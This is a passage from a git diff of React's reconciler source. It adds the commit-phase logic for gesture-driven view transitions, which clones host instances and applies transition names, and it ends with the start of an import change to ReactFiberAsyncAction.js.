+    const clones = state.clones;
+    // If there are no clones at this point, that should mean that there are no
+    // HostComponent children in this ViewTransition.
+    if (clones !== null) {
+      applyViewTransitionToClones(name, className, clones, placement);
+    }
+    if (state.paired) {
+      scheduleGestureTransitionEvent(placement, props.onGestureShare);
+    } else {
+      scheduleGestureTransitionEvent(placement, props.onGestureExit);
+    }
+  }
+}
+
+function applyNestedViewTransition(child: Fiber): void {
+  const state: ViewTransitionState = child.stateNode;
+  const props: ViewTransitionProps = child.memoizedProps;
+  const name = getViewTransitionName(props, state);
+  const className: ?string = getViewTransitionClassName(
+    props.default,
+    props.update,
+  );
+  if (className !== 'none') {
+    const clones = state.clones;
+    // If there are no clones at this point, that should mean that there are no
+    // HostComponent children in this ViewTransition.
+    if (clones !== null) {
+      applyViewTransitionToClones(name, className, clones, child);
+    }
+  }
+}
+
+function applyUpdateViewTransition(current: Fiber, finishedWork: Fiber): void {
+  const state: ViewTransitionState = finishedWork.stateNode;
+  // Updates can have conflicting names and classNames.
+  // Since we're doing a reverse animation the "new" state is actually the current
+  // and the "old" state is the finishedWork.
+  const newProps: ViewTransitionProps = current.memoizedProps;
+  const oldProps: ViewTransitionProps = finishedWork.memoizedProps;
+  const oldName = getViewTransitionName(oldProps, state);
+  // This className applies only if there are fewer child DOM nodes than
+  // before or if this update should've been cancelled but we ended up with
+  // a parent animating so we need to animate the child too. Otherwise
+  // the "new" state wins. Since "new" normally wins, that's usually what
+  // we would use. However, since this animation is going in reverse we actually
+  // want the props from "current" since that's the class that would've won if
+  // it was the normal direction. To preserve the same effect in either direction.
+  const className: ?string = getViewTransitionClassName(
+    newProps.default,
+    newProps.update,
+  );
+  if (className === 'none') {
+    // If update is "none" then we don't have to apply a name. Since we won't animate this boundary.
+    return;
+  }
+  const clones = state.clones;
+  // If there are no clones at this point, that should mean that there are no
+  // HostComponent children in this ViewTransition.
+  if (clones !== null) {
+    applyViewTransitionToClones(oldName, className, clones, finishedWork);
+  }
+}
+
+function recursivelyInsertNew(
+  parentFiber: Fiber,
+  hostParentClone: Instance,
+  parentViewTransition: null | ViewTransitionState,
+  visitPhase: VisitPhase,
+): void {
+  if (
+    visitPhase === INSERT_APPEARING_PAIR &&
+    parentViewTransition === null &&
+    (parentFiber.subtreeFlags & (ViewTransitionNamedStatic | Placement)) ===
+      NoFlags
+  ) {
+    // We're just searching for pairs or insertion effects but we have reached the end.
+    return;
+  }
+  let child = parentFiber.child;
+  while (child !== null) {
+    recursivelyInsertNewFiber(
+      child,
+      hostParentClone,
+      parentViewTransition,
+      visitPhase,
+    );
+    child = child.sibling;
+  }
+}
+
+function recursivelyInsertNewFiber(
+  finishedWork: Fiber,
+  hostParentClone: Instance,
+  parentViewTransition: null | ViewTransitionState,
+  visitPhase: VisitPhase,
+): void {
+  switch (finishedWork.tag) {
+    case FunctionComponent:
+    case ForwardRef:
+    case MemoComponent:
+    case SimpleMemoComponent: {
+      recursivelyInsertNew(
+        finishedWork,
+        hostParentClone,
+        parentViewTransition,
+        visitPhase,
+      );
+      if (finishedWork.flags & Update) {
+        // Insertion Effects are mounted temporarily during the rendering of the snapshot.
+        // This does not affect cloned Offscreen content since those would've been mounted
+        // while inside the offscreen tree already.
+        // Note that because we are mounting a clone of the DOM tree and the previous DOM
+        // tree remains mounted during the snapshot, we can't unmount any previous insertion
+        // effects. This can lead to conflicts but that is similar to what can happen with
+        // conflicts for two mounted Activity boundaries.
+        commitHookEffectListMount(HookInsertion | HookHasEffect, finishedWork);
+      }
+      break;
+    }
+    case HostHoistable: {
+      if (supportsResources) {
+        // TODO: Hoistables should get optimistically inserted and then removed.
+        recursivelyInsertNew(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+        break;
+      }
+      // Fall through
+    }
+    case HostSingleton: {
+      if (supportsSingletons) {
+        recursivelyInsertNew(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+
+        if (__DEV__) {
+          // We cannot apply mutations to Host Singletons since by definition
+          // they cannot be cloned. Therefore we warn in DEV if this commit
+          // had any effect.
+          if (finishedWork.flags & Update) {
+            console.error(
+              'startGestureTransition() caused something to render a new <%s>. ' +
+                'This is not possible in the current implementation. ' +
+                "Make sure that the swipe doesn't mount any new <%s> elements.",
+              finishedWork.type,
+              finishedWork.type,
+            );
+          }
+        }
+        break;
+      }
+      // Fall through
+    }
+    case HostComponent: {
+      const instance: Instance = finishedWork.stateNode;
+      // For insertions we don't need to clone. It's already new state node.
+      if (visitPhase !== INSERT_APPEARING_PAIR) {
+        appendChild(hostParentClone, instance);
+        trackHostMutation();
+        recursivelyInsertNew(
+          finishedWork,
+          instance,
+          null,
+          INSERT_APPEARING_PAIR,
+        );
+      } else {
+        recursivelyInsertNew(finishedWork, instance, null, visitPhase);
+      }
+      if (parentViewTransition !== null) {
+        if (parentViewTransition.clones === null) {
+          parentViewTransition.clones = [instance];
+        } else {
+          parentViewTransition.clones.push(instance);
+        }
+      }
+      break;
+    }
+    case HostText: {
+      const textInstance: TextInstance = finishedWork.stateNode;
+      if (textInstance === null) {
+        throw new Error(
+          'This should have a text node initialized. This error is likely ' +
+            'caused by a bug in React. Please file an issue.',
+        );
+      }
+      // For insertions we don't need to clone. It's already new state node.
+      if (visitPhase !== INSERT_APPEARING_PAIR) {
+        appendChild(hostParentClone, textInstance);
+        trackHostMutation();
+      }
+      break;
+    }
+    case HostPortal: {
+      // TODO: Consider what should happen to Portals. For now we exclude them.
+      break;
+    }
+    case OffscreenComponent: {
+      const newState: OffscreenState | null = finishedWork.memoizedState;
+      const isHidden = newState !== null;
+      if (!isHidden) {
+        // Only insert nodes if this tree is going to be visible. No need to
+        // insert invisible content.
+        // Since there was no mutation to this node, it couldn't have changed
+        // visibility so we don't need to update visitPhase here.
+        recursivelyInsertNew(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+      }
+      break;
+    }
+    case ViewTransitionComponent:
+      const prevMutationContext = pushMutationContext();
+      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;
+      // TODO: If this was already cloned by a previous pass we can reuse those clones.
+      viewTransitionState.clones = null;
+      let nextPhase: VisitPhase;
+      if (visitPhase === INSERT_EXIT) {
+        // This was an Enter of a ViewTransition. We now move onto inserting the inner
+        // HostComponents and finding inner pairs.
+        nextPhase = INSERT_APPEND;
+      } else {
+        nextPhase = visitPhase;
+      }
+      recursivelyInsertNew(
+        finishedWork,
+        hostParentClone,
+        viewTransitionState,
+        nextPhase,
+      );
+      // After we've inserted the new nodes into the "clones" set we can apply share
+      // or exit transitions to them.
+      if (visitPhase === INSERT_EXIT) {
+        applyExitViewTransition(finishedWork);
+      } else if (
+        visitPhase === INSERT_APPEARING_PAIR ||
+        visitPhase === INSERT_APPEND
+      ) {
+        applyAppearingPairViewTransition(finishedWork);
+      }
+      popMutationContext(prevMutationContext);
+      break;
+    default: {
+      recursivelyInsertNew(
+        finishedWork,
+        hostParentClone,
+        parentViewTransition,
+        visitPhase,
+      );
+      break;
+    }
+  }
+}
+
+function recursivelyInsertClonesFromExistingTree(
+  parentFiber: Fiber,
+  hostParentClone: Instance,
+  parentViewTransition: null | ViewTransitionState,
+  visitPhase: VisitPhase,
+): void {
+  let child = parentFiber.child;
+  while (child !== null) {
+    switch (child.tag) {
+      case HostComponent: {
+        const instance: Instance = child.stateNode;
+        let nextPhase: VisitPhase;
+        switch (visitPhase) {
+          case CLONE_EXIT:
+          case CLONE_UNHIDE:
+          case CLONE_APPEARING_PAIR:
+            // If this was an unhide, we need to keep going if there are any named
+            // pairs in this subtree, since they might need to be marked.
+            nextPhase =
+              (child.subtreeFlags & ViewTransitionNamedStatic) !== NoFlags
+                ? CLONE_APPEARING_PAIR
+                : CLONE_UNCHANGED;
+            break;
+          default:
+            // We've found any "layout" View Transitions at this point so we can bail.
+            nextPhase = CLONE_UNCHANGED;
+        }
+        let clone: Instance;
+        if (nextPhase !== CLONE_UNCHANGED) {
+          // We might need a handle on these clones, so we need to do a shallow clone
+          // and keep going.
+          clone = cloneMutableInstance(instance, false);
+          recursivelyInsertClonesFromExistingTree(
+            child,
+            clone,
+            null,
+            nextPhase,
+          );
+        } else {
+          // If we have no mutations in this subtree, and we don't need a handle on the
+          // clones, then we can do a deep clone instead and bailout.
+          clone = cloneMutableInstance(instance, true);
+          // TODO: We may need to transfer some DOM state such as scroll position
+          // for the deep clones.
+          // TODO: If there's a manual view-transition-name inside the clone we
+          // should ideally remove it from the original and then restore it in mutation
+          // phase. Otherwise it leads to duplicate names.
+        }
+        appendChild(hostParentClone, clone);
+        if (parentViewTransition !== null) {
+          if (parentViewTransition.clones === null) {
+            parentViewTransition.clones = [clone];
+          } else {
+            parentViewTransition.clones.push(clone);
+          }
+        }
+        if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {
+          unhideInstance(clone, child.memoizedProps);
+          trackHostMutation();
+        }
+        break;
+      }
+      case HostText: {
+        const textInstance: TextInstance = child.stateNode;
+        if (textInstance === null) {
+          throw new Error(
+            'This should have a text node initialized. This error is likely ' +
+              'caused by a bug in React. Please file an issue.',
+          );
+        }
+        const clone = cloneMutableTextInstance(textInstance);
+        appendChild(hostParentClone, clone);
+        if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {
+          unhideTextInstance(clone, child.memoizedProps);
+          trackHostMutation();
+        }
+        break;
+      }
+      case HostPortal: {
+        // TODO: Consider what should happen to Portals. For now we exclude them.
+        break;
+      }
+      case OffscreenComponent: {
+        const newState: OffscreenState | null = child.memoizedState;
+        const isHidden = newState !== null;
+        if (!isHidden) {
+          // Only insert clones if this tree is going to be visible. No need to
+          // clone invisible content.
+          // TODO: If this is visible but detached it should still be cloned.
+          // Since there was no mutation to this node, it couldn't have changed
+          // visibility so we don't need to update visitPhase here.
+          recursivelyInsertClonesFromExistingTree(
+            child,
+            hostParentClone,
+            parentViewTransition,
+            visitPhase,
+          );
+        }
+        break;
+      }
+      case ViewTransitionComponent:
+        const prevMutationContext = pushMutationContext();
+        const viewTransitionState: ViewTransitionState = child.stateNode;
+        // TODO: If this was already cloned by a previous pass we can reuse those clones.
+        viewTransitionState.clones = null;
+        // "Existing" view transitions are in subtrees that didn't update so
+        // this is a "current". We normally clear this upon rerendering
+        // but we use this flag to track changes from layout in the commit.
+        // So we need it to be cleared before we do that.
+        // TODO: Use some other temporary state to track this.
+        child.flags &= ~Update;
+        let nextPhase: VisitPhase;
+        if (visitPhase === CLONE_EXIT) {
+          // This was an Enter of a ViewTransition. We now move onto unhiding the inner
+          // HostComponents and finding inner pairs.
+          nextPhase = CLONE_UNHIDE;
+          // TODO: Mark the name and find a pair.
+        } else if (visitPhase === CLONE_UPDATE) {
+          // If the tree had no mutations and we've found the top most ViewTransition
+          // then this is the one we might apply the "layout" state too if it has changed
+          // position. After we've found its HostComponents we can bail out.
+          nextPhase = CLONE_UNCHANGED;
+        } else {
+          nextPhase = visitPhase;
+        }
+        recursivelyInsertClonesFromExistingTree(
+          child,
+          hostParentClone,
+          viewTransitionState,
+          nextPhase,
+        );
+        // After we've collected the cloned instances, we can apply exit or share transitions
+        // to them.
+        if (visitPhase === CLONE_EXIT) {
+          applyExitViewTransition(child);
+        } else if (
+          visitPhase === CLONE_APPEARING_PAIR ||
+          visitPhase === CLONE_UNHIDE
+        ) {
+          applyAppearingPairViewTransition(child);
+        } else if (visitPhase === CLONE_UPDATE) {
+          applyNestedViewTransition(child);
+        }
+        popMutationContext(prevMutationContext);
+        break;
+      default: {
+        recursivelyInsertClonesFromExistingTree(
+          child,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+        break;
+      }
+    }
+    child = child.sibling;
+  }
+}
+
+function recursivelyInsertClones(
+  parentFiber: Fiber,
+  hostParentClone: Instance,
+  parentViewTransition: null | ViewTransitionState,
+  visitPhase: VisitPhase,
+) {
+  const deletions = parentFiber.deletions;
+  if (deletions !== null) {
+    for (let i = 0; i < deletions.length; i++) {
+      const childToDelete = deletions[i];
+      trackEnterViewTransitions(childToDelete);
+      // Normally we would only mark something as triggering a mutation if there was
+      // actually a HostInstance below here. If this tree didn't contain a HostInstances
+      // we shouldn't trigger a mutation even though a virtual component was deleted.
+      trackHostMutation();
+    }
+  }
+
+  if (
+    parentFiber.alternate === null ||
+    (parentFiber.subtreeFlags & MutationMask) !== NoFlags
+  ) {
+    // If we have mutations or if this is a newly inserted tree, clone as we go.
+    let child = parentFiber.child;
+    while (child !== null) {
+      insertDestinationClonesOfFiber(
+        child,
+        hostParentClone,
+        parentViewTransition,
+        visitPhase,
+      );
+      child = child.sibling;
+    }
+  } else {
+    // Once we reach a subtree with no more mutations we can bail out.
+    // However, we must still insert deep clones of the HostComponents.
+    recursivelyInsertClonesFromExistingTree(
+      parentFiber,
+      hostParentClone,
+      parentViewTransition,
+      visitPhase,
+    );
+  }
+}
+
+function insertDestinationClonesOfFiber(
+  finishedWork: Fiber,
+  hostParentClone: Instance,
+  parentViewTransition: null | ViewTransitionState,
+  visitPhase: VisitPhase,
+) {
+  const current = finishedWork.alternate;
+  if (current === null) {
+    // This is a newly mounted subtree. Insert any HostComponents and trigger
+    // Enter transitions.
+    recursivelyInsertNewFiber(
+      finishedWork,
+      hostParentClone,
+      parentViewTransition,
+      INSERT_EXIT,
+    );
+    return;
+  }
+
+  const flags = finishedWork.flags;
+  // The effect flag should be checked *after* we refine the type of fiber,
+  // because the fiber tag is more specific. An exception is any flag related
+  // to reconciliation, because those can be set on all fiber types.
+  switch (finishedWork.tag) {
+    case HostHoistable: {
+      if (supportsResources) {
+        // TODO: Hoistables should get optimistically inserted and then removed.
+        recursivelyInsertClones(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+        break;
+      }
+      // Fall through
+    }
+    case HostSingleton: {
+      if (supportsSingletons) {
+        recursivelyInsertClones(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          visitPhase,
+        );
+        if (__DEV__) {
+          // We cannot apply mutations to Host Singletons since by definition
+          // they cannot be cloned. Therefore we warn in DEV if this commit
+          // had any effect.
+          if (flags & Update) {
+            const newProps = finishedWork.memoizedProps;
+            const oldProps = current.memoizedProps;
+            const instance = finishedWork.stateNode;
+            const type = finishedWork.type;
+            const prev = pushMutationContext();
+
+            try {
+              // Since we currently don't have a separate diffing algorithm for
+              // individual properties, the Update flag can be a false positive.
+              // We have to apply the new props first o detect any mutations and
+              // then revert them.
+              commitUpdate(instance, type, oldProps, newProps, finishedWork);
+              if (viewTransitionMutationContext) {
+                console.error(
+                  'startGestureTransition() caused something to mutate <%s>. ' +
+                    'This is not possible in the current implementation. ' +
+                    "Make sure that the swipe doesn't update any state which " +
+                    'causes <%s> to change.',
+                  finishedWork.type,
+                  finishedWork.type,
+                );
+              }
+              // Revert
+              commitUpdate(instance, type, newProps, oldProps, finishedWork);
+            } finally {
+              popMutationContext(prev);
+            }
+          }
+        }
+        break;
+      }
+      // Fall through
+    }
+    case HostComponent: {
+      const instance: Instance = finishedWork.stateNode;
+      let clone: Instance;
+      if (finishedWork.child === null) {
+        // This node is terminal. We still do a deep clone in case this has user
+        // inserted content, text content or dangerouslySetInnerHTML.
+        clone = cloneMutableInstance(instance, true);
+        if (finishedWork.flags & ContentReset) {
+          resetTextContent(clone);
+          trackHostMutation();
+        }
+      } else {
+        // If we have children we'll clone them as we walk the tree so we just
+        // do a shallow clone here.
+        clone = cloneMutableInstance(instance, false);
+      }
+
+      if (flags & Update) {
+        const newProps = finishedWork.memoizedProps;
+        const oldProps = current.memoizedProps;
+        const type = finishedWork.type;
+        // Apply the delta to the clone.
+        commitUpdate(clone, type, oldProps, newProps, finishedWork);
+      }
+
+      if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {
+        appendChild(hostParentClone, clone);
+        unhideInstance(clone, finishedWork.memoizedProps);
+        recursivelyInsertClones(
+          finishedWork,
+          clone,
+          null,
+          CLONE_APPEARING_PAIR,
+        );
+        trackHostMutation();
+      } else {
+        appendChild(hostParentClone, clone);
+        recursivelyInsertClones(finishedWork, clone, null, visitPhase);
+      }
+      if (parentViewTransition !== null) {
+        if (parentViewTransition.clones === null) {
+          parentViewTransition.clones = [clone];
+        } else {
+          parentViewTransition.clones.push(clone);
+        }
+      }
+      break;
+    }
+    case HostText: {
+      const textInstance: TextInstance = finishedWork.stateNode;
+      if (textInstance === null) {
+        throw new Error(
+          'This should have a text node initialized. This error is likely ' +
+            'caused by a bug in React. Please file an issue.',
+        );
+      }
+      const clone = cloneMutableTextInstance(textInstance);
+      if (flags & Update) {
+        const newText: string = finishedWork.memoizedProps;
+        const oldText: string = current.memoizedProps;
+        commitTextUpdate(clone, newText, oldText);
+        trackHostMutation();
+      }
+      appendChild(hostParentClone, clone);
+      if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {
+        unhideTextInstance(clone, finishedWork.memoizedProps);
+        trackHostMutation();
+      }
+      break;
+    }
+    case HostPortal: {
+      // TODO: Consider what should happen to Portals. For now we exclude them.
+      break;
+    }
+    case OffscreenComponent: {
+      const newState: OffscreenState | null = finishedWork.memoizedState;
+      const isHidden = newState !== null;
+      if (!isHidden) {
+        // Only insert clones if this tree is going to be visible. No need to
+        // clone invisible content.
+        // TODO: If this is visible but detached it should still be cloned.
+        let nextPhase: VisitPhase;
+        if (visitPhase === CLONE_UPDATE && (flags & Visibility) !== NoFlags) {
+          // This is the root of an appear. We need to trigger Enter transitions.
+          nextPhase = CLONE_EXIT;
+        } else {
+          nextPhase = visitPhase;
+        }
+        recursivelyInsertClones(
+          finishedWork,
+          hostParentClone,
+          parentViewTransition,
+          nextPhase,
+        );
+      } else if (current !== null && current.memoizedState === null) {
+        // Was previously mounted as visible but is now hidden.
+        trackEnterViewTransitions(current);
+        // Normally we would only mark something as triggering a mutation if there was
+        // actually a HostInstance below here. If this tree didn't contain a HostInstances
+        // we shouldn't trigger a mutation even though a virtual component was hidden.
+        trackHostMutation();
+      }
+      break;
+    }
+    case ViewTransitionComponent:
+      const prevMutationContext = pushMutationContext();
+      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;
+      // TODO: If this was already cloned by a previous pass we can reuse those clones.
+      viewTransitionState.clones = null;
+      let nextPhase: VisitPhase;
+      if (visitPhase === CLONE_EXIT) {
+        // This was an Enter of a ViewTransition. We now move onto unhiding the inner
+        // HostComponents and finding inner pairs.
+        nextPhase = CLONE_UNHIDE;
+        // TODO: Mark the name and find a pair.
+      } else {
+        nextPhase = visitPhase;
+      }
+      recursivelyInsertClones(
+        finishedWork,
+        hostParentClone,
+        viewTransitionState,
+        nextPhase,
+      );
+      if (viewTransitionMutationContext) {
+        // Track that this boundary had a mutation and therefore needs to animate
+        // whether it resized or not.
+        finishedWork.flags |= Update;
+      }
+      // After we've collected the cloned instances, we can apply exit or share transitions
+      // to them.
+      if (visitPhase === CLONE_EXIT) {
+        applyExitViewTransition(finishedWork);
+      } else if (
+        visitPhase === CLONE_APPEARING_PAIR ||
+        visitPhase === CLONE_UNHIDE
+      ) {
+        applyAppearingPairViewTransition(finishedWork);
+      } else if (visitPhase === CLONE_UPDATE) {
+        applyUpdateViewTransition(current, finishedWork);
+      }
+      popMutationContext(prevMutationContext);
+      break;
+    default: {
+      recursivelyInsertClones(
+        finishedWork,
+        hostParentClone,
+        parentViewTransition,
+        visitPhase,
+      );
+      break;
+    }
+  }
+}
+
+// Clone View Transition boundaries that have any mutations or might have had their
+// layout affected by child insertions.
+export function insertDestinationClones(
+  root: FiberRoot,
+  finishedWork: Fiber,
+): void {
+  // We'll either not transition the root, or we'll transition the clone. Regardless
+  // we cancel the root view transition name.
+  const needsClone = detectMutationOrInsertClones(finishedWork);
+  if (needsClone) {
+    // Clone the whole root
+    const rootClone = cloneRootViewTransitionContainer(root.containerInfo);
+    root.gestureClone = rootClone;
+    recursivelyInsertClones(finishedWork, rootClone, null, CLONE_UPDATE);
+  } else {
+    root.gestureClone = null;
+    cancelRootViewTransitionName(root.containerInfo);
+  }
+}
+
+function measureExitViewTransitions(placement: Fiber): void {
+  if (placement.tag === ViewTransitionComponent) {
+    // const state: ViewTransitionState = placement.stateNode;
+    const props: ViewTransitionProps = placement.memoizedProps;
+    const name = props.name;
+    if (name != null && name !== 'auto') {
+      // TODO: Find a pair
+    }
+  } else if ((placement.subtreeFlags & ViewTransitionStatic) !== NoFlags) {
+    // TODO: Check if this is a hidden Offscreen or a Portal.
+    let child = placement.child;
+    while (child !== null) {
+      measureExitViewTransitions(child);
+      child = child.sibling;
+    }
+  } else {
+    // We don't need to find pairs here because we would've already found and
+    // measured the pairs inside the deletion phase.
+  }
+}
+
+function recursivelyRestoreNew(
+  finishedWork: Fiber,
+  nearestMountedAncestor: Fiber,
+): void {
+  // There has to be move a Placement AND an Update flag somewhere below for this
+  // pass to be relevant since we only apply insertion effects for new components here.
+  if (((Placement | Update) & finishedWork.subtreeFlags) !== NoFlags) {
+    let child = finishedWork.child;
+    while (child !== null) {
+      recursivelyRestoreNew(child, nearestMountedAncestor);
+      child = child.sibling;
+    }
+  }
+  switch (finishedWork.tag) {
+    case FunctionComponent:
+    case ForwardRef:
+    case MemoComponent:
+    case SimpleMemoComponent: {
+      const current = finishedWork.alternate;
+      if (current === null && finishedWork.flags & Update) {
+        // Insertion Effects are mounted temporarily during the rendering of the snapshot.
+        // We have now already takes a snapshot of the inserted state so we can now unmount
+        // them to get back into the original state before starting the animation.
+        commitHookEffectListUnmount(
+          HookInsertion | HookHasEffect,
+          finishedWork,
+          nearestMountedAncestor,
+        );
+      }
+      break;
+    }
+  }
+}
+
+function recursivelyApplyViewTransitions(parentFiber: Fiber) {
+  const deletions = parentFiber.deletions;
+  if (deletions !== null) {
+    for (let i = 0; i < deletions.length; i++) {
+      const childToDelete = deletions[i];
+      commitEnterViewTransitions(childToDelete, true);
+    }
+  }
+
+  if (
+    parentFiber.alternate === null ||
+    (parentFiber.subtreeFlags & MutationMask) !== NoFlags
+  ) {
+    // If we have mutations or if this is a newly inserted tree, clone as we go.
+    let child = parentFiber.child;
+    while (child !== null) {
+      const current = child.alternate;
+      if (current === null) {
+        measureExitViewTransitions(child);
+        recursivelyRestoreNew(child, parentFiber);
+      } else {
+        applyViewTransitionsOnFiber(child, current);
+      }
+      child = child.sibling;
+    }
+  } else {
+    // Nothing has changed in this subtree, but the parent may have still affected
+    // its size and position. We need to measure the old and new state to see if
+    // we should animate its size and position.
+    measureNestedViewTransitions(parentFiber, true);
+  }
+}
+
+function applyViewTransitionsOnFiber(finishedWork: Fiber, current: Fiber) {
+  // The effect flag should be checked *after* we refine the type of fiber,
+  // because the fiber tag is more specific. An exception is any flag related
+  // to reconciliation, because those can be set on all fiber types.
+  switch (finishedWork.tag) {
+    case HostPortal: {
+      // TODO: Consider what should happen to Portals. For now we exclude them.
+      break;
+    }
+    case OffscreenComponent: {
+      const newState: OffscreenState | null = finishedWork.memoizedState;
+      const isHidden = newState !== null;
+      const wasHidden = current.memoizedState !== null;
+      if (!isHidden) {
+        if (wasHidden) {
+          measureExitViewTransitions(finishedWork);
+          recursivelyRestoreNew(finishedWork, finishedWork);
+        } else {
+          recursivelyApplyViewTransitions(finishedWork);
+        }
+      } else {
+        if (!wasHidden) {
+          // Was previously mounted as visible but is now hidden.
+          commitEnterViewTransitions(current, true);
+        }
+      }
+      break;
+    }
+    case ViewTransitionComponent: {
+      const prevContextChanged = viewTransitionContextChanged;
+      const prevCancelableChildren = pushViewTransitionCancelableScope();
+      viewTransitionContextChanged = false;
+      recursivelyApplyViewTransitions(finishedWork);
+
+      if (viewTransitionContextChanged) {
+        finishedWork.flags |= Update;
+      }
+
+      const inViewport = measureUpdateViewTransition(
+        current,
+        finishedWork,
+        true,
+      );
+
+      if ((finishedWork.flags & Update) === NoFlags || !inViewport) {
+        // If this boundary didn't update, then we may be able to cancel its children.
+        // We bubble them up to the parent set to be determined later if we can cancel.
+        // Similarly, if old and new state was outside the viewport, we can skip it
+        // even if it did update.
+        if (prevCancelableChildren === null) {
+          // Bubbling up this whole set to the parent.
+        } else {
+          // Merge with parent set.
+          // $FlowFixMe[method-unbinding]
+          prevCancelableChildren.push.apply(
+            prevCancelableChildren,
+            viewTransitionCancelableChildren,
+          );
+          popViewTransitionCancelableScope(prevCancelableChildren);
+        }
+        // TODO: If this doesn't end up canceled, because a parent animates,
+        // then we should probably issue an event since this instance is part of it.
+      } else {
+        const props: ViewTransitionProps = finishedWork.memoizedProps;
+        scheduleGestureTransitionEvent(finishedWork, props.onGestureUpdate);
+        // If this boundary did update, we cannot cancel its children so those are dropped.
+        popViewTransitionCancelableScope(prevCancelableChildren);
+      }
+
+      if ((finishedWork.flags & AffectedParentLayout) !== NoFlags) {
+        // This boundary changed size in a way that may have caused its parent to
+        // relayout. We need to bubble this information up to the parent.
+        viewTransitionContextChanged = true;
+      } else {
+        // Otherwise, we restore it to whatever the parent had found so far.
+        viewTransitionContextChanged = prevContextChanged;
+      }
+
+      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;
+      viewTransitionState.clones = null; // Reset
+      break;
+    }
+    default: {
+      recursivelyApplyViewTransitions(finishedWork);
+      break;
+    }
+  }
+}
+
+// Revert insertions and apply view transition names to the "new" (current) state.
+export function applyDepartureTransitions(
+  root: FiberRoot,
+  finishedWork: Fiber,
+): void {
+  // First measure and apply view-transition-names to the "new" states.
+  viewTransitionContextChanged = false;
+  pushViewTransitionCancelableScope();
+
+  recursivelyApplyViewTransitions(finishedWork);
+
+  // Then remove the clones.
+  const rootClone = root.gestureClone;
+  if (rootClone !== null) {
+    root.gestureClone = null;
+    removeRootViewTransitionClone(root.containerInfo, rootClone);
+  }
+
+  if (!viewTransitionContextChanged) {
+    // If we didn't leak any resizing out to the root, we don't have to transition
+    // the root itself. This means that we can now safely cancel any cancellations
+    // that bubbled all the way up.
+    const cancelableChildren = viewTransitionCancelableChildren;
+    if (cancelableChildren !== null) {
+      for (let i = 0; i < cancelableChildren.length; i += 3) {
+        cancelViewTransitionName(
+          ((cancelableChildren[i]: any): Instance),
+          ((cancelableChildren[i + 1]: any): string),
+          ((cancelableChildren[i + 2]: any): Props),
+        );
+      }
+    }
+    // We also cancel the root itself. First we restore the name to the documentElement
+    // and then we cancel it.
+    restoreRootViewTransitionName(root.containerInfo);
+    cancelRootViewTransitionName(root.containerInfo);
+  }
+  popViewTransitionCancelableScope(null);
+}
+
+function recursivelyRestoreViewTransitions(parentFiber: Fiber) {
+  const deletions = parentFiber.deletions;
+  if (deletions !== null) {
+    for (let i = 0; i < deletions.length; i++) {
+      const childToDelete = deletions[i];
+      restoreEnterOrExitViewTransitions(childToDelete);
+    }
+  }
+
+  if (
+    parentFiber.alternate === null ||
+    (parentFiber.subtreeFlags & MutationMask) !== NoFlags
+  ) {
+    // If we have mutations or if this is a newly inserted tree, clone as we go.
+    let child = parentFiber.child;
+    while (child !== null) {
+      restoreViewTransitionsOnFiber(child);
+      child = child.sibling;
+    }
+  } else {
+    // Nothing has changed in this subtree, but the parent may have still affected
+    // its size and position. We need to measure the old and new state to see if
+    // we should animate its size and position.
+    restoreNestedViewTransitions(parentFiber);
+  }
+}
+
+function restoreViewTransitionsOnFiber(finishedWork: Fiber) {
+  const current = finishedWork.alternate;
+  if (current === null) {
+    restoreEnterOrExitViewTransitions(finishedWork);
+    return;
+  }
+
+  const flags = finishedWork.flags;
+  // The effect flag should be checked *after* we refine the type of fiber,
+  // because the fiber tag is more specific. An exception is any flag related
+  // to reconciliation, because those can be set on all fiber types.
+  switch (finishedWork.tag) {
+    case HostPortal: {
+      // TODO: Consider what should happen to Portals. For now we exclude them.
+      break;
+    }
+    case OffscreenComponent: {
+      if (flags & Visibility) {
+        const newState: OffscreenState | null = finishedWork.memoizedState;
+        const isHidden = newState !== null;
+        if (!isHidden) {
+          restoreEnterOrExitViewTransitions(finishedWork);
+        } else if (current !== null && current.memoizedState === null) {
+          // Was previously mounted as visible but is now hidden.
+          restoreEnterOrExitViewTransitions(current);
+        }
+      }
+      break;
+    }
+    case ViewTransitionComponent:
+      restoreUpdateViewTransitionForGesture(current, finishedWork);
+      recursivelyRestoreViewTransitions(finishedWork);
+      break;
+    default: {
+      recursivelyRestoreViewTransitions(finishedWork);
+      break;
+    }
+  }
+}
+
+// Revert transition names and start/adjust animations on the started View Transition.
+export function startGestureAnimations(
+  root: FiberRoot,
+  finishedWork: Fiber,
+): void {
+  restoreViewTransitionsOnFiber(finishedWork);
+  restoreRootViewTransitionName(root.containerInfo);
+}
diff --git a/packages/react-reconciler/src/ReactFiberAsyncAction.js b/packages/react-reconciler/src/ReactFiberAsyncAction.js
index ec53c7d80346..9d1194874d46 100644
--- a/packages/react-reconciler/src/ReactFiberAsyncAction.js
+++ b/packages/react-reconciler/src/ReactFiberAsyncAction.js
@@ -13,10 +13,26 @@ import type {
   RejectedThenable,
 } from 'shared/ReactTypes';
 import type {Lane} from './ReactFiberLane';
-import type {BatchConfigTransition} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
 
-import {requestTransitionLane} from './ReactFiberRootScheduler';
+import {
+  requestTransitionLane,
+  ensureScheduleIsScheduled,
+} from './ReactFiberRootScheduler';
 import {NoLane} from './ReactFiberLane';
+import {
+  hasScheduledTransitionWork,
+  clearAsyncTransitionTimer,
+} from './ReactProfilerTimer';
+import {
+  enableComponentPerformanceTrack,
+  enableProfilerTimer,
+  enableDefaultTransitionIndicator,
+} from 'shared/ReactFeatureFlags';
+import {clearEntangledAsyncTransitionTypes} from './ReactFiberTransitionTypes';
+
+import noop from 'shared/noop';
+import reportGlobalError from 'shared/reportGlobalError';
